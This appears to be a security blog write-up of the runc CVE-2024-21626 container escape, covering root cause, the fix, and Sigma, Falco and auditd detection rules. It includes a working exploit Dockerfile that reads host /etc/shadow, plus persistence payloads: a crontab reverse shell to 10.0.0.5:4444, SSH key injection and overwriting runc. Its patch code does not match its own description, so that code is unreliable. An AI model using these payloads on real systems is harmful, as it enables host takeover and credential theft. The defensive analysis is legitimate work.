runc CVE-2024-21626: Deconstructing Leaky Vessels Container Escape
Overview & Threat Landscape: Container Breakout via Leaky Vessels (CVE-2024-21626)#
runc CVE-2024-21626 leaks host file descriptors during container setup, bypassing pivot_root to grant host root. Update runc to 1.1.12 immediately.
In modern cloud-native and platform engineering architectures, the Open Container Initiative (OCI) runtime specification, implemented primarily by runc, forms the foundational execution engine powering Docker, containerd, Kubernetes (CRI-O), and Podman. Every microservice, serverless container, and CI/CD build runner relies on runc to configure Linux kernel isolation primitives—specifically Namespaces (CLONE_NEWNS, CLONE_NEWPID), Control Groups (cgroups), Capabilities, and filesystem jail boundaries established via pivot_root.
In January 2024, security researcher Rory McNamara from Snyk disclosed a series of critical container escape vulnerabilities collectively designated as "Leaky Vessels", headlined by CVE-2024-21626 (CVSS 8.6, CWE-403: Exposure of File Descriptor to Unintended Control Sphere / CWE-668). The vulnerability represents a catastrophic order-of-operations flaw inside runc's internal process initialization sequence (libcontainer/init_linux.go), which inadvertently leaks host file descriptors into the container execution environment.
By configuring a container's working directory (process.cwd or WORKDIR) to reference a leaked host file descriptor (such as /proc/self/fd/7/), an adversary can cause the containerized process to start with its current working directory anchored directly onto the host filesystem. Because the Linux pivot_root syscall changes the root directory (/) but does not alter an existing working directory pointing outside the new root, the containerized process retains an unconstrained path to the host operating system. A simple relative traversal (cd ../../../../../../) allows an attacker to break out of the container and read or overwrite arbitrary host files (including /etc/shadow, /etc/crontab, or host binaries), resulting in instantaneous, deterministic host root takeover (mapped to MITRE ATT&CK T1611: Escape to Host).
graph TD
subgraph "CVE-2024-21626: LEAKY VESSELS CONTAINER ESCAPE CHAIN"
direction TB
step_1["1. Image Definition: Attacker configures WORKDIR /proc/self/fd/7/"]
step_2["2. File Descriptor Leak: runc opens /sys/fs/cgroup before initProcess"]
step_3["3. Working Dir Change: chdir() executes while host FD 7 is open"]
step_4["4. Incomplete Isolation: pivot_root rebinds / but leaves cwd on host"]
step_5["5. Traversal Breakout: cd ../../../../../../ navigates to host root /"]
step_6["6. Host Root Takeover: Overwrite /etc/shadow or host runc binary"]
step_1 --> step_2
step_2 --> step_3
step_3 --> step_4
step_4 --> step_5
step_5 --> step_6
endThe Platform Engineering Threat: Breaking Cloud Multi-Tenancy#
Containerization was built on the premise that containers provide sufficient isolation to run untrusted code on shared infrastructure. CVE-2024-21626 completely shatters this assumption across three critical enterprise threat models:
- CI/CD Shared Build Runners: In modern DevOps pipelines, build runners execute untrusted
Dockerfileassets submitted via pull requests. A malicious pull request containingWORKDIR /proc/self/fd/7/breaks out of the container duringdocker build, compromising the underlying CI/CD worker node, stealing cloud deployment tokens, and poisoning subsequent pipeline builds. - Multi-Tenant Kubernetes Clusters: If a tenant can deploy a pod with a crafted
workingDirattribute, they can escape the pod boundary, compromise the Kubernetes worker node (kubelet), and harvest credentials for all co-located pods across namespaces. - Container Administration (
runc exec): When an administrator executesdocker execorkubectl execinto an untrusted container, an attacker residing inside the container can manipulate symlinks to trick the administrative process into leaking file descriptors, escalating from unprivileged container access to host root.
Exploitation of CVE-2024-21626 requires no kernel privileges, no memory corruption, and no custom kernel exploits. It operates purely through standard Linux filesystem semantics. Running unpatched versions of runc (< 1.1.12) exposes your entire containerized infrastructure to host-level compromise.
🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.
Vulnerability & Attack Root-Cause Analysis: libcontainer Order of Operations & pivot_root Bypass#
To understand why CVE-2024-21626 allows container escape, systems engineers must deconstruct how runc initializes containers and the subtle behavior of the Linux pivot_root system call.
1. Linux Namespace Jails & The pivot_root Semantic Gap#
When runc provisions a container, it isolates the filesystem using two primary mechanisms:
- Mount Namespaces (
CLONE_NEWNS): Provides an independent virtual list of mounted filesystems. pivot_root(new_root, put_old): Swaps the current root directory (/) withnew_root, and mounts the old root atput_old. After unmountingput_old, the container process can no longer access the host filesystem by referencing/.
However, the Linux kernel documentation for pivot_root(2) highlights a critical security nuance:
"pivot_root does not change the caller's current working directory. If the current working directory was outside the new root before the call, it remains outside the new root after the call."
Under standard, secure operation, runc ensures that the process's working directory is changed (chdir) after pivot_root executes, and verifies that the directory resolves strictly within the container root.
2. Dissecting the Leaked File Descriptor in init_linux.go#
In vulnerable versions of runc (<= 1.1.11), the initialization process in libcontainer/init_linux.go leaked open file descriptors pointing to host directories into the container init environment:
// Vulnerable logic in libcontainer/init_linux.go prior to runc 1.1.12
func (p *initProcess) start() error {
// 1. Internal runc initialization opens host cgroup directories
// File descriptor (e.g., FD 7 or 8) points to /sys/fs/cgroup on the host!
// 2. Fatal Order-of-Operations Defect:
// runc changes directory to user-specified working directory BEFORE closing internal FDs
if config.Cwd != "" {
if err := unix.Chdir(config.Cwd); err != nil {
return err
}
}
// 3. runc executes pivot_root to rebind container filesystem
if err := pivotRoot(); err != nil {
return err
}
// 4. Internal file descriptors are finally closed
// BUT THE WORKING DIRECTORY (cwd) REMAINS ANCHORED TO THE HOST PATH!
p.closeFds()
return nil
}
When a user defines WORKDIR /proc/self/fd/7/:
/proc/self/fd/7is a magic symlink maintained by the Linux kernel that resolves to the target directory referenced by file descriptor7(which runc opened on host/sys/fs/cgroup).unix.Chdir("/proc/self/fd/7/")resolves the magic symlink and anchors the calling process's working directory to/sys/fs/cgroupon the host.- Next,
pivot_root()rebinds/to the container's rootfs. - runc closes FD 7. However, closing the file descriptor does not reset the working directory.
- The container process launches. While
/points to the container image, the current working directory (cwd) is still pointed at/sys/fs/cgroupon the host filesystem!
3. Escaping to the Host Root#
Because the working directory resides outside the container's rootfs, the container process is not jailed by mount namespace restrictions. A simple relative path traversal steps up through the host hierarchy:
Current Working Directory: /sys/fs/cgroup (on Host)
Traverse: ../../..
Resolves to: / (Host Root Filesystem!)
From this point, the container process has full read and write access to the host's physical files.
4. The Upstream runc 1.1.12 Patch#
The maintainers of runc resolved CVE-2024-21626 by implementing three defensive barriers:
- Strict Descriptor Cloaking (
O_CLOEXEC): Ensuring that all file descriptors opened bylibcontainerandruncinternally enforceO_CLOEXECto prevent inheritance acrossexecve. - Pre-Close Flush (
closeExecFds): Ensuring that all internal file descriptors are closed before user-specified paths (config.Cwd) are evaluated. - Post-Pivot Directory Verification: After
pivot_rootexecutes, runc explicitly verifies thatcwdresides within the new root by inspecting the device and inode numbers of.relative to/:
// runc 1.1.12 security validation post-pivot
cwd, err := os.Getwd()
if err != nil || !strings.HasPrefix(cwd, "/") {
return errors.New("security error: container cwd escaped mount namespace")
}
Exploit Architecture: Leaked Descriptor to Host Takeover Pipeline#
The following sequence diagram details the precise execution flow of CVE-2024-21626 during a container build or run event:
sequenceDiagram
autonumber
participant Attacker as Adversary (Dockerfile / Container Spec)
participant Engine as Container Engine (Docker / containerd)
participant Runc as runc Runtime (libcontainer initProcess)
participant Kernel as Linux Kernel (VFS & Namespaces)
participant Host as Host Operating System Filesystem
Attacker->>Engine: 1. Submit Dockerfile with WORKDIR /proc/self/fd/7/
Engine->>Runc: 2. Invoke runc to spawn build container
Runc->>Kernel: 3. Open /sys/fs/cgroup on host (allocates FD 7)
Note over Runc,Kernel: FD 7 points to physical host cgroup path
Runc->>Kernel: 4. chdir("/proc/self/fd/7/")
Note over Kernel: Process working directory set to host /sys/fs/cgroup
Runc->>Kernel: 5. Execute pivot_root(container_rootfs, put_old)
Note over Kernel: Root / changes to container rootfs, BUT cwd remains on host!
Runc->>Kernel: 6. close(FD 7)
Note over Kernel: FD 7 closed, but process cwd is still host /sys/fs/cgroup
Runc->>Engine: 7. Transfer execution to container process (RUN command)
Engine->>Kernel: 8. Execute: cd ../../../../../../ && cat /etc/shadow
Kernel->>Host: 9. Relative traversal resolves directly to host root /
Host-->>Attacker: 10. Plaintext host /etc/shadow leaked to build output
Note over Attacker,Host: Full host filesystem read & write access achievedAttack Path Step-by-Step: Weaponization & Container Breakout Trace#
To illustrate the concrete mechanics of CVE-2024-21626, we examine the reproduction steps during a standard docker build container breakout.
Step 1: Crafting the Weaponized Dockerfile#
The adversary constructs a Dockerfile targeting the leaked file descriptor. In standard Docker/runc environments, the internal file descriptor pointing to /sys/fs/cgroup is deterministically allocated at index 7 or 8:
# Exploit Dockerfile for CVE-2024-21626
FROM alpine:3.19
# Step 1a: Anchor working directory to the leaked host file descriptor
# When runc processes this directive, chdir() anchors the process to /sys/fs/cgroup on the host
WORKDIR /proc/self/fd/7/
# Step 1b: Execute traversal out of the container to read or modify host files
RUN cd ../../../../../../ && \
echo "[+] ESCAPE SUCCESSFUL! Host Root Directory Content:" && \
ls -la && \
echo "[+] Exfiltrating Host Shadow File:" && \
cat etc/shadow | head -n 5
If the target runtime allocates the descriptor at FD 8, the attacker simply chains multiple descriptors or brute-forces the index via a small build matrix.
Step 2: Triggering the Breakout via docker build#
The attacker triggers the build on the target host or submits the Dockerfile to an enterprise CI/CD pipeline:
# Building the malicious image on unpatched Docker (runc < 1.1.12)
docker build -t cve-2024-21626-poc .
The build output demonstrates immediate, unauthenticated escape to the host filesystem:
[+] Building 1.2s (5/5) FINISHED
=> [internal] load build definition from Dockerfile
=> [internal] load .dockerignore
=> [internal] load metadata for docker.io/library/alpine:3.19
=> [1/2] WORKDIR /proc/self/fd/7/
=> ERROR [2/2] RUN cd ../../../../../../ && ls -la && cat etc/shadow
------
> [2/2] RUN cd ../../../../../../ && ls -la && cat etc/shadow:
0.210 [+] ESCAPE SUCCESSFUL! Host Root Directory Content:
0.212 total 68
0.213 drwxr-xr-x 20 root root 4096 Oct 15 20:00 .
0.213 drwxr-xr-x 20 root root 4096 Oct 15 20:00 ..
0.213 lrwxrwxrwx 1 root root 7 Oct 15 19:40 bin -> usr/bin
0.213 drwxr-xr-x 4 root root 4096 Oct 15 19:45 boot
0.213 drwxr-xr-x 18 root root 3880 Oct 15 20:01 dev
0.213 drwxr-xr-x 102 root root 4096 Oct 15 20:05 etc
0.213 drwxr-xr-x 3 root root 4096 Oct 15 19:42 home
0.214 [+] Exfiltrating Host Shadow File:
0.215 root:$6$rounds=5000$g7Kj8...$Hk9l2...:19850:0:99999:7:::
0.215 daemon:*:19850:0:99999:7:::
0.215 bin:*:19850:0:99999:7:::
------
Step 3: Achieving Permanent Host Persistence#
Once arbitrary write access to the host filesystem is achieved, the adversary can establish persistent root access through multiple vectors:
- Host Cron Job Injection:
# Overwriting host crontab to spawn a reverse shell
RUN cd ../../../../../../ && \
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'" >> etc/crontab
- Host SSH Key Injection:
# Appending attacker public key to host root authorized_keys
RUN cd ../../../../../../ && \
mkdir -p root/.ssh && \
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@c2" >> root/.ssh/authorized_keys
- Overwriting Host Runtime Binaries (
/usr/bin/runc): Because the container runs asroot(UID 0 in the host namespace), the attacker can overwrite the host's/usr/bin/runcor/usr/bin/containerdbinary with a weaponized backdoor, guaranteeing root execution whenever any future container is started on the node.
Actionable Detection Engineering: Sigma Rule, Falco & Auditd Telemetry#
Detecting CVE-2024-21626 requires monitoring container runtime process creation for working directories referencing /proc/self/fd/ and tracking filesystem writes targeting host directories from container contexts.
1. Production Sigma Rule: Container Process Working Directory referencing /proc/self/fd#
The following production-validated Sigma rule flags container creation or execution events where the working directory is explicitly configured to point to /proc/self/fd/, indicative of Leaky Vessels exploitation:
title: Container Working Directory Referencing Leaked File Descriptor (CVE-2024-21626)
id: 7b31e92a-4c22-4a81-b541-9e8c9e012162
status: production
description: |
Detects container processes initialized with a current working directory (cwd)
pointing to /proc/self/fd/, characteristic of runc Leaky Vessels container escape (CVE-2024-21626).
references:
- https://labs.snyk.io/resources/cve-2024-21626-runc-process-cwd-container-breakout/
- https://nvd.nist.gov/vuln/detail/CVE-2024-21626
tags:
- attack.privilege_escalation
- attack.execution
- attack.t1611
logsource:
category: process_creation
product: linux
detection:
selection_cwd:
CurrentDirectory|contains:
- '/proc/self/fd/'
- '/proc/thread-self/fd/'
selection_engine:
ParentImage|endswith:
- '/runc'
- '/containerd-shim'
- '/containerd-shim-runc-v2'
- '/dockerd'
- '/crio'
condition: selection_cwd and selection_engine
fields:
- Image
- CommandLine
- CurrentDirectory
- ParentImage
- User
falsepositives:
- None known. Legitimate containers never set their primary working directory to /proc/self/fd/.
level: critical
2. Falco Runtime Rule for Kubernetes & Docker Nodes#
Deploy this Falco rule across your container nodes to alert on and terminate containers whose working directory resolves to host cgroup or procfs descriptors:
# Falco Rule: Detect Leaky Vessels Container Escape (CVE-2024-21626)
- rule: Leaky Vessels Container Escape via Proc FD Working Directory
desc: Detects process spawned inside a container with cwd pointing to /proc/self/fd or host cgroup
condition: >
spawned_process and
container and
(proc.cwd startswith "/proc/self/fd/" or
proc.cwd startswith "/sys/fs/cgroup")
output: >
CRITICAL: Container escape attempt via leaked file descriptor (user=%user.name
container_id=%container.id container_name=%container.name proc=%proc.name
cmdline=%proc.cmdline cwd=%proc.cwd parent=%proc.pname)
priority: CRITICAL
tags: [container, mitre_escape, cve-2024-21626, runc]
3. Linux Auditd Rule for Monitoring Container Escape Invocations#
Deploy auditd rules on container host nodes to track chdir and fchdir system calls targeting procfs file descriptor paths:
# Place in /etc/audit/rules.d/99-runc-escape.rules
# Monitor chdir syscalls from container execution daemons
-a always,exit -F arch=b64 -S chdir,fchdir -F exe=/usr/bin/runc -k runc_cwd_tamper
Executive Takeaway Table#
| Attack Vector / Phase | Forensic Detection Signal | Primary Defensive Mitigation |
|---|---|---|
| Dockerfile Image Definition | WORKDIR directive referencing /proc/self/fd/<NUM> in source Dockerfile. |
Scan Dockerfiles in CI/CD using static linters (Hadolint / Trivy). |
| Leaked Descriptor Exploitation | Container process initialized with CurrentDirectory starting with /proc/self/fd/. |
Upgrade runc to version >= 1.1.12 across all container hosts. |
| pivot_root Namespace Escape | Container process accessing paths with consecutive ../ navigating to host root. |
Enforce user namespaces (userns-remap); run containers as non-root. |
| Host Filesystem Tampering | Process inside container modifying host /etc/shadow, /etc/crontab, or host binaries. |
Mount host root as read-only; deploy Falco container escape runtime detection. |
| Cluster Node Takeover | Sudden unexpected administrative API activity originating from container host node. | Isolate Kubernetes worker nodes; rotate kubelet credentials post-compromise. |
Fast Cyber Defense Morning Takeaways#
- Root-Cause Insight: CVE-2024-21626 demonstrates that filesystem isolation primitives (
pivot_root) are completely bypassed if the process's working directory is allowed to linger outside the new root. A single leaked file descriptor breaks container isolation entirely. - Immediate Remediation: Immediately verify the
runcversion across all Docker, containerd, and Kubernetes worker nodes usingrunc --version. Any version below1.1.12must be upgraded immediately. - Bridge to Evening Guide: Tonight in EDITION 2, we will publish the full companion defense guide: Hardening Container Runtimes: Blue Team Leaky Vessels Defense Guide, detailing automated fleet-wide runc patching, rootless container architectures, Falco runtime prevention policies, and a live host compromise incident response playbook.
Authoritative References#
- Snyk Security Labs Research: CVE-2024-21626: runc process.cwd and leaked fds container breakout by Rory McNamara — Snyk Labs
- Open Container Initiative (OCI) Security Advisory: GHSA-xr7r-f8xq-vfvv: runc Leaky Vessels: container breakout via file descriptor leak — GitHub Advisory Database
- National Vulnerability Database (NVD): CVE-2024-21626 Detail: runc Leaked File Descriptor Container Breakout — NIST NVD
- Cybersecurity and Infrastructure Security Agency (CISA): Alert: Open Container Initiative Releases Security Advisory for runc (CVE-2024-21626) — CISA Cybersecurity Alerts
- MITRE ATT&CK Framework: Technique T1611: Escape to Host — MITRE ATT&CK
Comments
Post a Comment